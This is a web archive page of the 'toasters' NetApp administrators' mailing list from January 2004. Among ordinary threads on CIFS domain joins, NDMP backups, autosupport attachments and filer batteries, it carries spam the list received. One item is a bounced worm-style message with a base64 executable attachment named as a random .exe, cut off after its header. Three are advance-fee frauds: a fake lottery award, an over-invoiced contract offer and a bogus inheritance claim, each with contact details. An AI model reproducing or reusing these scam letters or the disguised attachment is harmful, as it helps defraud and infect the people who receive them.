toasters

toasters@lists.teaparty.net

13514 discussions

Undeliverable Mail
by Postmaster 21 Jan '04

21 Jan '04

User mailbox exceeds allowed size: gustavo(a)PaginasMoviles.com.ar Original message follows. Received: from pc76 [161.111.140.76] by alsolnet.com (SMTPD32-8.05) id AD63BF90100; Wed, 21 Jan 2004 06:58:59 -0300 Date: Wed, 21 Jan 2004 11:03:56 +0100 To: gustavo(a)paginasmoviles.com.ar Subject: Hi From: toasters(a)mathworks.com Message-ID: <dtjsqhfhoftthvitows(a)mathworks.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------816548801647847" ----------816548801647847 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) mnqdedkfuqjgomfkggs -- Test, yep. ----------816548801647847 Content-Type: application/x-msdownload; name="leiypgohbve.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wmtpjyfmn.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated]

1 0

Congratulations ..
by Your Name 19 Jan '04

19 Jan '04

FROM: THE DESK OF MANAGING DIRECTOR CLAIM FILE NUMBER: EG/008045160027.DEC /04 BATCH NUMBER:100000488 19-01-04 ATTENTION: RE: AWARD NOTIFICATION FINAL NOTICE This is your final notice of winning results for the EL GORDO super raw held on the 23th of DEC 2003 but later released this jan 4TH 2004 due to a mix up numbers and addresses. In the 3rd series, playing 26 of 66,000 full tickets in a group of 35 participants applying over $50,000,00 (Fifty Million Dollars) in cash.Your numbers have been qualified and cleared for a lump sum payment of $615,810,00 (Six hundred and fifteen thousand,eight hundred and ten dollars) in cash.Congratulations!!! Please be informed that due to all failed efforts to communicate with you,your award was deposited with a security company insured to your name and claim file number EG/008045160027.DEC /03. To avoid any unwarranted taking advantage of the situation by participants,we ask you to keep this notification strictly confidential until the processing of your claim is complete and funds remitted to your designated bank account.Be advised that claim processing will be handled by Mr. FRED EMANUEL manager of Granar Security Company S.A. at tel:+34 609 450 931 FAX +34 606 889 146 Deadline for this notification is 26th of feb 2004. the award will be returned unclaimed. On behalf of all staff and members, I wish to congratulate you on your great achievement and thank you for choosing International Lotto Commission. Sincerely, MR. EDUARDO JUAN MORALES DIRECTOR. CLAIM REF.SERIAL NUMBER :EG/008045160027.DEC/03BATCH100000488 Nº-000166-00123154 _____________________________________ Get your webmail @ drunkandstoned.com Unlike your crack habit... it's free! http://www.drunkandstoned.com

1 0

Congratulations ..
by Your Name 19 Jan '04

19 Jan '04

1 0

RE: CIFS Domain Access problem
by Kumar, Rahul 19 Jan '04

19 Jan '04

Going to plain 6.3 or 6.4 or higher would work . Ontap properly recognizes Windows 2000 domain (FQDN) when running cifs setup Regards Rahul ************************ Rahul Kumar Development Operations Group, UGS PLM Solutions Pune, India Email: Rahul.Kumar(a)ugsplm.com Tele: +91 20 22930812 / 900 Fax: +91 20 22933679 Cell: +91 20 33150979 -----Original Message----- From: owner-toasters(a)mathworks.com [mailto:owner-toasters@mathworks.com] On Behalf Of Stephane Bentebba Sent: Monday, January 19, 2004 2:57 PM To: toasters(a)mathworks.com Subject: Re: CIFS Domain Access problem i heard about cifs buf in 6.1.X ontapp version you could try to upgrade the filer in 633 if possible and make another try Blake Folgner wrote: > Hello, > > One of my customer's filers running 6.1.2 is having problems > connecting to the proper NT domain. When I run CIFS setup and try to > have it logon to his domain TILEANDMARBLE it try's to connect in NT4 > mode and not AD. But if I just use the name LAN it will connect to the > domain with no problem. His domain is named lan.tileandmarble.com so > I'm guessing that the filer is recognizing that and not the NETBIOS > name TILEANDMARBLE. When I join the filer to the LAN domain it is not > viable under my network places since it's joined to the LAN domain and > not TILEANDMARBLE. Is their any way around this problem? > > Thanks for your time and help. > > Blake >

1 0

CIFS Domain Access problem
by Blake Folgner 19 Jan '04

19 Jan '04

Hello, One of my customer's filers running 6.1.2 is having problems connecting to the proper NT domain. When I run CIFS setup and try to have it logon to his domain TILEANDMARBLE it try's to connect in NT4 mode and not AD. But if I just use the name LAN it will connect to the domain with no problem. His domain is named lan.tileandmarble.com so I'm guessing that the filer is recognizing that and not the NETBIOS name TILEANDMARBLE. When I join the filer to the LAN domain it is not viable under my network places since it's joined to the LAN domain and not TILEANDMARBLE. Is their any way around this problem? Thanks for your time and help. Blake

2 1

please read and get back.
by Dr. Omonigho Omo 18 Jan '04

18 Jan '04

STRICTLY CONFIDENTIAL I am Dr O.Omonigho, We need your help to recieve the sum of Sixteen million Two hundred and Fifty thousand Dollars (US$16.25M) which represent an over invoiced contract that is floating in our system, Department of Minerals & Energy, South Africa. Please contact me For more information on this email, the deal is 100% hitch free. I can only transfer the money with the help of a foreign partner hence I contact you, I look forward to be hearing from you via email (nigho(a)myway.com) Regards, Dr.Omonigho Omo.

1 0

NDMP Backups over private network
by Kumar, Rahul 17 Jan '04

17 Jan '04

Hello, Can anyone suggest the best way for backing up NetApps via Veritas Netbackup (via NDMP) on a private network. Scenario: Four Filers: Each with QFE card with the IP address available. On Board Card on each of the filers is unused as for now. M1800 Stacker connected to one of the filers with SDLT320 drives. Master Media Server is Sun Server. I was curiuos to know if the backups can happen over a private network using onboard card. Should I connect another QFE on the Filer which has the tape library connected to it and assign three private IP addresses (viz. 10.x.x.x, 172.x.x.x or 192.168.x.x) And respectively assign, onboard cards on the other three filers an similar private ip address . As far as cabling is concerned, will a cross-cable connected from each onboard card to the qfe on the filer which has the M1800 library connected a good way to ensure eliminating network traffic generated via NDMP backup ? Is there any other way, in which I can achieve the same ? Regards Rahul

2 1

ATTENTION Jay
by atiku musa 17 Jan '04

17 Jan '04

MR ATIKU & CO. ATTORNEY, SOLICITORS, ADVOCATES, LEGAL REPRESENTATIVES ATTENTION Jay RE:TWENTY MILLION FIVE HUNDRED THOUSAND DOLLARS INHERITANCE CLAIM (US$20, 500, 000, 00) My name is Mr Atiku. I am a Legal representative, an Attorney an private account manager to my late client. In the Year 2002, my client by name Mr. Marshal Jay passed away, leaving behind a cash inheritance of Twenty million Five hundred thousand United States Dollars ($20,500,000,00). My late client and bosom friend grew up in a �Motherless Babies Home�. He had no family, no beneficiary nor next of kin to the inheritance amount left behind at his Bank, The Financial law of inheritance clearly allows for the deceased Bank to use deceased money as deemed fit, should the inheritance money be left unclaimed for a period of thirteen months after the death of the account owner. The reason that you have been contacted now is because you bear the same last name as the deceased, and I can present you as the beneficiary and next of kin to late Mr. Marshal. Jay The Inheritance Law clearly leaves the onus of proof of who is or is not the next of kin, to the deceased Lawyer to prove. As the deceased Lawyer, the Law says l have the final say of who is the beneficiary of the deceased estate. This is 100% percent legal. As a lawyer I know this. If you are interested in this proposition and you are ready to keep this proposition in absolute confidentiality and trust, then contact me at once, and we can work out the details, and the issue of your compensation. If you are not interested, and have found this email offensive or you think this is a scam, please do not reply. Regards Mr Atiku plaese reply me through this E- mail address atikumusa00(a)yahoo.com --------------------------------- Do you Yahoo!? Yahoo! Hotjobs: Enter the "Signing Bonus" Sweepstakes

1 0

autosupport flexibility
by Jim Harm 15 Jan '04

15 Jan '04

Setting the content to minimal is not good enough to give us the information that we need as administrators. This is very disappointing. The seven attachments don't amount to much space(5 at 4K and a 16K and a 20K), but with several systems sending these to the responsible admin team, and their usefulness being only when there is a problem to analyze that is hopefully infrequent, I'd like this request to be *escalated* to add an option to dispense with the attachments or add attachments only when there is a serious problem. You must see that these attachments are completely unnecessary even with 99.5% of real problems they are not necessary or even helpful to conclude what the problem is and fix it. Because we can't select some recipients for minimal and some for complete, if we wish to get useable information to the admins, we still can't send a 'minimal' message to external recipients either and these attachments have information that would be helpful to anyone wishing to get information about our networks and configurations for hostile purposes. I suppose we could disable auto-support and run a script to set and send minimal auto-support externally and then reset it to complete and send to internal distribution, but then we would not get timely urgent messages for crashes and component failures. For the others copied: I am complaining about the seven attachments that accompany every auto-support message after OnTap 6.5 is installed: 200401141304.0.cm_stats.gz 200401141304.0.ems.gz 200401141304.0.exports.gz 200401141304.0.hosts.gz 200401141304.0.rc.gz 200401141304.0.resolv_conf.gz 200401141304.0.syslog_conf.gz And also that we can't build two lists for auto-support with one for minimal and one for complete messages. Anyone else have another solution or work around? -- }}}===============>> LLNL James E. Harm (Jim); jharm(a)llnl.gov System Administrator, ICCD Clusters (925) 422-4018 Page: 423-7705x57152

1 0

RE: f800 batteries
by Illa, Randolph 13 Jan '04

13 Jan '04

Deanan, 'nv' output confirms that the battery is ok. This is probably burt 91910... ===== Short_Fields ==================================================== #dbver 44 id 91910 title "NVRAM battery in the chassis is *worsening*" when battery is OK This is fixed in several Ontap releases including; 6.3.2P1, 6.3.2P2, 6.3.3P2, 6.4.1P1, 6.4.2P1... HTH -randy -----Original Message----- From: deanan [mailto:list@delusion.com] Sent: Tuesday, January 13, 2004 11:52 AM To: toasters(a)mathworks.com Subject: f800 batteries Hi, I have an older f840 no longer on support that's getting a low battery warning. Although nv says it's ok, I'd like to replace the battery: filer3*> nv NVRAM3 size: 134217728 (board max = 256MB) Battery status: OK EEPROM Signed: YES Battery voltage: 6720mV LM81 Multiplier: 56 EEPROM Version: 2 Is there someone that sells these batteries or knows specifically what battery to get? (I can't open the filer because it's in a remote location) Thanks, Deanan #-----Original Message----- #From: owner-toasters(a)mathworks.com #[mailto:owner-toasters@mathworks.com] On Behalf Of Bui, Marcus #Sent: Tuesday, January 13, 2004 7:23 AM #To: 'Jon Michael Gimpel'; 'toasters(a)mathworks.com' #Subject: RE: cifs audit # #It seems the server running the rsh script was not in the #Filer's host.equiv. After host.equiv updated, the script #worked. Should of double check :-) # #Thanks for the response. # #Marcus # # -----Original Message----- # From: owner-toasters(a)mathworks.com #[mailto:owner-toasters@mathworks.com] On Behalf Of Jon Michael Gimpel # Sent: Tuesday, January 13, 2004 1:47 AM # To: toasters(a)mathworks.com # Subject: Re: cifs audit # # # What are you attempting to audit? Is it the CIFS file #system .. such as read's, delete's, permission changes etc? #If so, CIFS still needs to be set to audit like that of the #native NTFS structure. You will need to do this via explorer by: # # - right clicking the directory or file # - security tab # - advanced # - auditing # - adding a common group or suspected user # - selecting what you are attempting to audit # # -Jon # # # # "Bui, Marcus" <Marcus.Bui(a)aiminvestments.com> wrote in #message news:0D1B378426DB3B4DB200AF4738F3E9E7090FD101@USHOUXML04... # # I have F820 running DOT 6.4.2P6 with CIFS only. # I noticed the cifs audit log does not log all events. The #audit log is dump and saved every night at midnight via a rsh #script. Looking through several log file, there are only a #few entries in each of the file. All of the entries are #within 16 minutes after midnight when the audit file is dump. # These are the settings. I compare it with two other Filers, #F880c DOT 6.4.2P12, with the same settings the audit log worked fine. # # # cifs.audit.enable on # cifs.audit.file_access_events.enable on # cifs.audit.logon_events.enable on # cifs.audit.logsize 204800000 # cifs.audit.saveas /etc/log/adtlog.evt # # Any ideas? # # # thanks, # # Marcus Bui # # # #________________________________ # # # # # Confidentiality Note: The information contained #in this message, and any attachments, may contain #confidential and/or privileged material. It is intended #solely for the person or entity to which it is addressed. Any #review, retransmission, dissemination, or taking of any #action in reliance upon this information by persons or #entities other than the intended recipient is prohibited. If #you received this in error, please contact the sender and #delete the material from any computer. # #________________________________ # #Confidentiality Note: The information contained in this #message, and any attachments, may contain confidential and/or #privileged material. It is intended solely for the person or #entity to which it is addressed. Any review, retransmission, #dissemination, or taking of any action in reliance upon this #information by persons or entities other than the intended #recipient is prohibited. If you received this in error, #please contact the sender and delete the material from any computer. # #

2 1

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

1999

1998

1997

toasters